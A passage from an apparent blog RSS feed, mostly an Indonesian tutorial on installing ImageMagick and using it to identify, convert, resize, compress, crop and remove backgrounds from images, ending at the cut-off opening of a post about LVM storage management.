window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;zypper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dnf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pkg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NixOS&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;imagemagick&lt;/code&gt; juga dapat dijumpai di website resminya: &lt;a href=&quot;https://imagemagick.org/#gsc.tab=0&quot; target=&quot;_blank&quot;&gt;https://imagemagick.org/#gsc.tab=0&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Atau di repo Github official-nya:&lt;/p&gt;&lt;a href=&quot;https://github.com/ImageMagick/ImageMagick/&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;ImageMagick&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;ImageMagick&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Image Manipulation&lt;a href=&quot;#image-manipulation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;TIP&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Saya sarankan untuk menggunakan (meng-&lt;em&gt;install&lt;/em&gt;) &lt;code&gt;imagemagick&lt;/code&gt; versi terbaru (7.x) agar dapat menggunakan perintah yang juga terbaru. Sebab, untuk versi lama (6.x) perintah utamanya sedikit berbeda. Selain itu, kita juga bisa menggunakan perintah tersendiri jika ingin melakukan manipulasi banyak gambar sekaligus.&lt;/p&gt;&lt;p&gt;Berikut adalah perbandingan perintah utama &lt;code&gt;imagemagick&lt;/code&gt; untuk manipulasi satu gambar dan banyak gambar:&lt;/p&gt;&lt;div&gt;&lt;div&gt;SingleBatch&lt;/div&gt; &lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# versi baru (7.x)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# versi lama (6.x)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;convert&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mogrify&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;section&gt;&lt;h4&gt;Identify&lt;a href=&quot;#identify&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk mengidentifikasi format dan karakteristik sebuah file gambar:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;identify&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama_file&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Akan muncul beberapa informasi terkait gambar tersebut, seperti:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;nama file&lt;/li&gt;
&lt;li&gt;format file&lt;/li&gt;
&lt;li&gt;resolusi&lt;/li&gt;
&lt;li&gt;jumlah bit&lt;/li&gt;
&lt;li&gt;ukuran file&lt;/li&gt;
&lt;li&gt;dll&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Contoh:&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss2._DgBZB8z_zzQpg.webp&quot; alt=&quot;identify file&apos;s format and characteristics&quot; loading=&quot;lazy&quot; width=&quot;903&quot; height=&quot;325&quot; /&gt;&lt;figcaption&gt;identify file&apos;s format and characteristics&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;1. Convert&lt;a href=&quot;#1-convert&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk meng-&lt;em&gt;convert&lt;/em&gt; file dari satu format ke format lain, gunakan perintah:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;input_file&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;output_file&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss3.XY1MQVf5_Z1GqQrP.webp&quot; alt=&quot;converting file format&quot; loading=&quot;lazy&quot; width=&quot;1198&quot; height=&quot;581&quot; /&gt;&lt;figcaption&gt;converting file format&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Resize&lt;a href=&quot;#2-resize&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;a) Change aspec ratio&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Untuk me-&lt;em&gt;resize&lt;/em&gt; resolusi gambar:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;input_file&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-resize&lt;/span&gt;&lt;span&gt; [LEBAR]X[TINGGI]! &lt;/span&gt;&lt;span&gt;&amp;lt;output_file&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Tanda seru &lt;strong&gt;(!)&lt;/strong&gt; pada resolusi ([LEBAR]X[TINGGI]) diperlukan untuk “memaksa” &lt;code&gt;imagemagick&lt;/code&gt; agar benar-benar merubah resolusinya sesuai permintaan. Kita bisa saj me-&lt;em&gt;resize&lt;/em&gt; tanpa tanda seru, tapi biasanya imagemagick akan berusaha menjaga aspek rasio gambar aslinya sehingga resolusi gambar tidak benar benar berubah.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss3.XY1MQVf5_Z1GqQrP.webp&quot; alt=&quot;resizing resolution&quot; loading=&quot;lazy&quot; width=&quot;1198&quot; height=&quot;581&quot; /&gt;&lt;figcaption&gt;resizing resolution&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;b) Maintain aspec ratio&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Atau kita juga bisa mengecilkan resolusi berdasarkan persen-an, tanpa mengubah aspek rasionya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;input_file&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-adaptive-resize&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;75%&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;output_file&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.DzuC0zXr_ZUDDp.webp&quot; alt=&quot;resizing resolution while maintaining aspec ratio&quot; loading=&quot;lazy&quot; width=&quot;903&quot; height=&quot;388&quot; /&gt;&lt;figcaption&gt;resizing resolution while maintaining aspec ratio&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. Reduce&lt;a href=&quot;#3-reduce&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk mengurangi ukuran file gambar:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;input_file&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-quality&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;75&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;output_file&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Quality range&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Quality&lt;/strong&gt; bervariasi dari 1-100. 1 Artinya kompresi sangat tinggi, tapi kualitas sangat rendah. Sebaliknya, 100 berarti kompresi sangat rendah, tapi kualitas tinggi.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss5.jKi_hI2y_4Ci25.webp&quot; alt=&quot;reducing image size&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;442&quot; /&gt;&lt;figcaption&gt;reducing image size&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Resize vs Reduce&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Berbeda dengan &lt;strong&gt;&lt;em&gt;resize&lt;/em&gt;&lt;/strong&gt;, dengan &lt;strong&gt;&lt;em&gt;reduce&lt;/em&gt;&lt;/strong&gt;, kita hanya mengurangi ukuran file dengan “membuang” beberapa bit-nya tanpa mengecilkan resolusi gambarnya.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;4. Crop&lt;a href=&quot;#4-crop&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk memotong gambar:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;input_file&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-crop&lt;/span&gt;&lt;span&gt; [LEBAR]x[TINGGI]+[X]+[Y]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;[LEBAR]x[TINGGI]&lt;/code&gt;: Ukuran area gambar yang ingin diambil.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+[X]+[Y]&lt;/code&gt;: Koordinat titik awal pemotongan (dimulai dari pojok kiri atas gambar, &lt;code&gt;+0+0&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss6.CLdoXCFx_Z2gFi8J.webp&quot; alt=&quot;cropping image&quot; loading=&quot;lazy&quot; width=&quot;769&quot; height=&quot;898&quot; /&gt;&lt;figcaption&gt;cropping image&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;5. Remove Background&lt;a href=&quot;#5-remove-background&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menghapus warna latar belakang dan membuatnya jadi transparan (lejas):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;input_file&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-fuzz&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;10%&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-transparent&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;white&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;output_file.png&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;-fuzz 10%&lt;/code&gt;: mengatur toleransi warna. Tingkatkan kalau warna &lt;em&gt;background&lt;/em&gt;-nya punya gradien atau bayangan.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-transparent white&lt;/code&gt;: mengkonversi semua warna terkait (putih) ke transparan (lejas).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;output_file.png&lt;/code&gt;: Kita ubah ke png agar transparansi berhasil.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kalau kita hanya ingin menghapus warna &lt;em&gt;background&lt;/em&gt; di luar subjek:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;input_file&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-fuzz&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;15%&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-fill&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;none&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-draw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;color 0,0 floodfill&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;output_file.png&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;-draw &quot;color 0,0 floodfill&quot;&lt;/code&gt;: menginisiasi transparansi dari koordinat &lt;code&gt;0,0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-fill none&lt;/code&gt;: meminta &lt;code&gt;imagemagick&lt;/code&gt; untuk mengisi &lt;em&gt;background&lt;/em&gt; dengan transparansi.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;output_file.png&lt;/code&gt;: Kita ubah ke png agar transparansi berhasil.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss7.BjQUzODz_1AwJkD.webp&quot; alt=&quot;background removal&quot; loading=&quot;lazy&quot; width=&quot;1010&quot; height=&quot;1080&quot; /&gt;&lt;figcaption&gt;background removal&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;p&gt;Ada banyak lagi fitur-fitur yang memungkinkan kita melakukan manipulasi gambar dengan &lt;code&gt;imagemagick&lt;/code&gt;. Kalian dapat melihat daftar kemampuan &lt;code&gt;imagemagick&lt;/code&gt; di sini:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://usage.imagemagick.org/&quot; target=&quot;_blank&quot;&gt;https://usage.imagemagick.org/&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://imagemagick.org/#gsc.tab=0&quot; target=&quot;_blank&quot;&gt;https://imagemagick.org/#gsc.tab=0&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/Gambar_bitmap&quot; target=&quot;_blank&quot;&gt;https://id.wikipedia.org/wiki/Gambar_bitmap&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://usage.imagemagick.org/basics/&quot; target=&quot;_blank&quot;&gt;https://usage.imagemagick.org/basics/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://contactsunny.medium.com/a-few-basic-but-powerful-imagemagick-commands-b5809b0a1076&quot; target=&quot;_blank&quot;&gt;https://contactsunny.medium.com/a-few-basic-but-powerful-imagemagick-commands-b5809b0a1076&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>LVM: A Realistic Way to Manage Your Dynamic Storage</title><link>https://shangdi.github.io/posts/tech/lvm/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/lvm/</guid><description>Have you ever tought of extending or reducing your active linux partition size? If yes, LVM might be your best friend to accomplish that purpose as it offers convenient yet safe way to resize your linux partition size.</description><pubDate>Sat, 11 Jul 2026 10:20:12 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Opening&lt;a href=&quot;#opening&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Chit-chat&lt;a href=&quot;#chit-chat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Salah satu hal yang paling saya cari-cari sejak mulai main linux adalah flexibilitas dalam memperbesar atau mengurangi ukuran &lt;em&gt;storage&lt;/em&gt;. Sebab, saya sering menjumpai kapasitas atau ukuran partisi yang saya alokasikan untuk sebuah linux tidak bisa fix. Dengan kata lain, partisi linux berukuran 200 GB yang saya kira cukup untuk waktu yang lama, pada kenyataannya cepat sekali membengkak dan rewel untuk minta diperluas ukurannya (mungkin karena partisi root (/) dan home (/home) saya satukan?).&lt;/p&gt;&lt;p&gt;Kalau di &lt;em&gt;virtual 